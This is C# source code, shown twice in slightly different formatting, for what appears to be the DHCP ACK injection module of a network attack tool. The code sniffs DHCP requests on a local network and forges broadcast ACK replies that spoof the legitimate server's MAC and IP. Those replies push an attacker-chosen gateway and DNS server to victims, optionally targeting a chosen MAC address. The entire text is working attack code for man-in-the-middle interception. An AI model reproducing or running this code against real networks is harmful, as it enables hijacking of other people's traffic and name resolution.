unsafe public void AnalyzePacket(WinPcapDevice device, Packet p) { if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket)) return; UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; if (udp.ParentPacket == null) return; if (!(udp.ParentPacket is IPv4Packet)) return; IPv4Packet packetIpLayer = (IPv4Packet)udp.ParentPacket; if (udp.PayloadData.Length < sizeof(DHCP.bootp)) return; DHCP.bootp* dhcp = (DHCP.bootp*)Marshal.UnsafeAddrOfPinnedArrayElement(udp.PayloadData, 0).ToPointer(); DHCP.RequestedIP optionRequestedIP = new DHCP.RequestedIP(); bool existsOptionRequestedIP = false; DHCP.ServerID optionServerID = new DHCP.ServerID(); bool existsOptionServerID = false; string Strname = string.Empty; ushort bp_vend_len = (ushort)(udp.Length - Marshal.SizeOf(*dhcp) + 4); uint pos = 4; while (pos < bp_vend_len) { byte option = dhcp->bp_vend[pos]; if (option == 0xff) { break; } byte len = dhcp->bp_vend[pos + 1]; switch (option) { case DHCP.TAG_DHCP_MESSAGE: { DHCP.MessageType* mtype = (DHCP.MessageType*)(dhcp->bp_vend + pos); //We save the real DHCP IP if (mtype->type == DHCP.DHCPACK && packetIpLayer.SourceAddress.Address != 0) DHCPIP = packetIpLayer.SourceAddress; //We get the DHCP Server MAC if (mtype->type == DHCP.DHCPOFFER) DHCPMAC = (p as EthernetPacket).SourceHwAddress; //We only continue if it's a DHCP Request if (mtype->type != DHCP.DHCPREQUEST) return; break; } case DHCP.TAG_REQUESTED_IP: { optionRequestedIP.id = ((DHCP.RequestedIP*)(dhcp->bp_vend + pos))->id; existsOptionRequestedIP = true; break; } case DHCP.TAG_SERVER_ID: { optionServerID.id = ((DHCP.ServerID*)(dhcp->bp_vend + pos))->id; DHCPIP = new IPAddress(optionServerID.id); existsOptionServerID = true; break; } case DHCP.TAG_HOSTNAME: { byte* chr = (((DHCP.Hostname*)(dhcp->bp_vend + pos))->name); byte lenght = ((DHCP.Hostname*)(dhcp->bp_vend + pos))->optionHeader.lenght; for (int i = 0; i < lenght; i++) Strname += (char)chr[i]; break; } } pos += (uint)len + 2; //The option and the length field } bool realizarataque = false; string dns = string.Empty; string gateway = string.Empty; string MAC; foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DHCPACKInjection && A.attackStatus == Data.AttackStatus.Attacking)) { dns = (attack as DHCPACKInjectionAttack).dns; gateway = (attack as DHCPACKInjectionAttack).gateway; MAC = (attack as DHCPACKInjectionAttack).MAC; //If filter does not apply not continue if (!string.IsNullOrEmpty(MAC) && !(p.PayloadPacket as EthernetPacket).SourceHwAddress.Equals(PhysicalAddress.Parse(MAC))) realizarataque = false; else { realizarataque = true; break; } } if (!realizarataque) return; //Configuration used in the attack PhysicalAddress MACUsed; if (Program.CurrentProject.data.settings.UseRealDHCPData) { if (DHCPMAC != null) MACUsed = DHCPMAC; else //If the real dhcp server mac is not found we use the computer network device mac MACUsed = device.Interface.MacAddress; } else { MACUsed = PhysicalAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerMAC); } IPAddress IPUsed; if (Program.CurrentProject.data.settings.UseRealDHCPData) { if (existsOptionServerID) IPUsed = new IPAddress(optionServerID.id); else { if (DHCPIP.Address == 0) { Program.LogThis("DHCP IP Address unknown, using 0.0.0.0 as IP source", Logs.Log.LogType.DHCPACKInjection); IPUsed = IPAddress.Parse("0.0.0.0"); } else { IPUsed = DHCPIP; } } } else { IPUsed = IPAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerIP); } //Now we create a fake response EthernetPacket response = new EthernetPacket(MACUsed, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), EthernetPacketType.IpV4); response.PayloadPacket = new IPv4Packet(IPUsed, new System.Net.IPAddress(0xffffffff)); //We want to follow the IP communication (response.PayloadPacket as IPv4Packet).Id = packetIpLayer.Id; response.PayloadPacket.PayloadPacket = new UdpPacket(67, 68); response.PayloadPacket.PayloadPacket.PayloadData = new byte[16]; response.PayloadPacket.PayloadPacket.PayloadData = new byte[sizeof(DHCP.bootp) + sizeof(DHCP.optionsResponse)]; dhcp->bp_op = DHCP.BOOTPREPLY; if (existsOptionRequestedIP) dhcp->bp_yiaddr = optionRequestedIP.id; else if (dhcp->bp_ciaddr != 0) dhcp->bp_yiaddr = dhcp->bp_ciaddr; else { return; } dhcp->bp_flags = 0; Marshal.Copy(new IntPtr(dhcp), response.PayloadPacket.PayloadPacket.PayloadData, 0, sizeof(DHCP.bootp)); //We need to fill the optionResponseStatic fields if (existsOptionServerID) optionResponseStatic.serverID.id = optionServerID.id; optionResponseStatic.serverID.id = (uint)IPUsed.Address; optionResponseStatic.route.ip = (uint)IPAddress.Parse(gateway).Address; optionResponseStatic.domainNameServer.ip = (uint)IPAddress.Parse(dns).Address; fixed (DHCP.optionsResponse* op = &optionResponseStatic) { Marshal.Copy(new IntPtr(op), response.PayloadPacket.PayloadPacket.PayloadData, sizeof(DHCP.bootp), sizeof(DHCP.optionsResponse)); } response.UpdateCalculatedValues(); (response.PayloadPacket as IPv4Packet).UpdateCalculatedValues(); (response.PayloadPacket as IPv4Packet).UpdateIPChecksum(); (response.PayloadPacket.PayloadPacket as UdpPacket).UpdateCalculatedValues(); (response.PayloadPacket.PayloadPacket as UdpPacket).UpdateUDPChecksum(); device.SendPacket(response); string message = string.Format("DHCP ACK sent to a {0} DHCP Request", new IPAddress(dhcp->bp_yiaddr).ToString()); Program.LogThis(message, Logs.Log.LogType.DHCPACKInjection); }
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p) { if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket)) { return; } UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; if (udp.ParentPacket == null) { return; } if (!(udp.ParentPacket is IPv4Packet)) { return; } IPv4Packet packetIpLayer = (IPv4Packet)udp.ParentPacket; if (udp.PayloadData.Length < sizeof(DHCP.bootp)) { return; } DHCP.bootp *dhcp = (DHCP.bootp *)Marshal.UnsafeAddrOfPinnedArrayElement(udp.PayloadData, 0).ToPointer(); DHCP.RequestedIP optionRequestedIP = new DHCP.RequestedIP(); bool existsOptionRequestedIP = false; DHCP.ServerID optionServerID = new DHCP.ServerID(); bool existsOptionServerID = false; string Strname = string.Empty; ushort bp_vend_len = (ushort)(udp.Length - Marshal.SizeOf(*dhcp) + 4); uint pos = 4; while (pos < bp_vend_len) { byte option = dhcp->bp_vend[pos]; if (option == 0xff) { break; } byte len = dhcp->bp_vend[pos + 1]; switch (option) { case DHCP.TAG_DHCP_MESSAGE: { DHCP.MessageType *mtype = (DHCP.MessageType *)(dhcp->bp_vend + pos); //We save the real DHCP IP if (mtype->type == DHCP.DHCPACK && packetIpLayer.SourceAddress.Address != 0) { DHCPIP = packetIpLayer.SourceAddress; } //We get the DHCP Server MAC if (mtype->type == DHCP.DHCPOFFER) { DHCPMAC = (p as EthernetPacket).SourceHwAddress; } //We only continue if it's a DHCP Request if (mtype->type != DHCP.DHCPREQUEST) { return; } break; } case DHCP.TAG_REQUESTED_IP: { optionRequestedIP.id = ((DHCP.RequestedIP *)(dhcp->bp_vend + pos))->id; existsOptionRequestedIP = true; break; } case DHCP.TAG_SERVER_ID: { optionServerID.id = ((DHCP.ServerID *)(dhcp->bp_vend + pos))->id; DHCPIP = new IPAddress(optionServerID.id); existsOptionServerID = true; break; } case DHCP.TAG_HOSTNAME: { byte *chr = (((DHCP.Hostname *)(dhcp->bp_vend + pos))->name); byte lenght = ((DHCP.Hostname *)(dhcp->bp_vend + pos))->optionHeader.lenght; for (int i = 0; i < lenght; i++) { Strname += (char)chr[i]; } break; } } pos += (uint)len + 2; //The option and the length field } bool realizarataque = false; string dns = string.Empty; string gateway = string.Empty; string MAC; foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DHCPACKInjection && A.attackStatus == Data.AttackStatus.Attacking)) { dns = (attack as DHCPACKInjectionAttack).dns; gateway = (attack as DHCPACKInjectionAttack).gateway; MAC = (attack as DHCPACKInjectionAttack).MAC; //If filter does not apply not continue if (!string.IsNullOrEmpty(MAC) && !(p.PayloadPacket as EthernetPacket).SourceHwAddress.Equals(PhysicalAddress.Parse(MAC))) { realizarataque = false; } else { realizarataque = true; break; } } if (!realizarataque) { return; } //Configuration used in the attack PhysicalAddress MACUsed; if (Program.CurrentProject.data.settings.UseRealDHCPData) { if (DHCPMAC != null) { MACUsed = DHCPMAC; } else //If the real dhcp server mac is not found we use the computer network device mac { MACUsed = device.Interface.MacAddress; } } else { MACUsed = PhysicalAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerMAC); } IPAddress IPUsed; if (Program.CurrentProject.data.settings.UseRealDHCPData) { if (existsOptionServerID) { IPUsed = new IPAddress(optionServerID.id); } else { if (DHCPIP.Address == 0) { Program.LogThis("DHCP IP Address unknown, using 0.0.0.0 as IP source", Logs.Log.LogType.DHCPACKInjection); IPUsed = IPAddress.Parse("0.0.0.0"); } else { IPUsed = DHCPIP; } } } else { IPUsed = IPAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerIP); } //Now we create a fake response EthernetPacket response = new EthernetPacket(MACUsed, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), EthernetPacketType.IpV4); response.PayloadPacket = new IPv4Packet(IPUsed, new System.Net.IPAddress(0xffffffff)); //We want to follow the IP communication (response.PayloadPacket as IPv4Packet).Id = packetIpLayer.Id; response.PayloadPacket.PayloadPacket = new UdpPacket(67, 68); response.PayloadPacket.PayloadPacket.PayloadData = new byte[16]; response.PayloadPacket.PayloadPacket.PayloadData = new byte[sizeof(DHCP.bootp) + sizeof(DHCP.optionsResponse)]; dhcp->bp_op = DHCP.BOOTPREPLY; if (existsOptionRequestedIP) { dhcp->bp_yiaddr = optionRequestedIP.id; } else if (dhcp->bp_ciaddr != 0) { dhcp->bp_yiaddr = dhcp->bp_ciaddr; } else { return; } dhcp->bp_flags = 0; Marshal.Copy(new IntPtr(dhcp), response.PayloadPacket.PayloadPacket.PayloadData, 0, sizeof(DHCP.bootp)); //We need to fill the optionResponseStatic fields if (existsOptionServerID) { optionResponseStatic.serverID.id = optionServerID.id; } optionResponseStatic.serverID.id = (uint)IPUsed.Address; optionResponseStatic.route.ip = (uint)IPAddress.Parse(gateway).Address; optionResponseStatic.domainNameServer.ip = (uint)IPAddress.Parse(dns).Address; fixed(DHCP.optionsResponse *op = &optionResponseStatic) { Marshal.Copy(new IntPtr(op), response.PayloadPacket.PayloadPacket.PayloadData, sizeof(DHCP.bootp), sizeof(DHCP.optionsResponse)); } response.UpdateCalculatedValues(); (response.PayloadPacket as IPv4Packet).UpdateCalculatedValues(); (response.PayloadPacket as IPv4Packet).UpdateIPChecksum(); (response.PayloadPacket.PayloadPacket as UdpPacket).UpdateCalculatedValues(); (response.PayloadPacket.PayloadPacket as UdpPacket).UpdateUDPChecksum(); device.SendPacket(response); string message = string.Format("DHCP ACK sent to a {0} DHCP Request", new IPAddress(dhcp->bp_yiaddr).ToString()); Program.LogThis(message, Logs.Log.LogType.DHCPACKInjection); }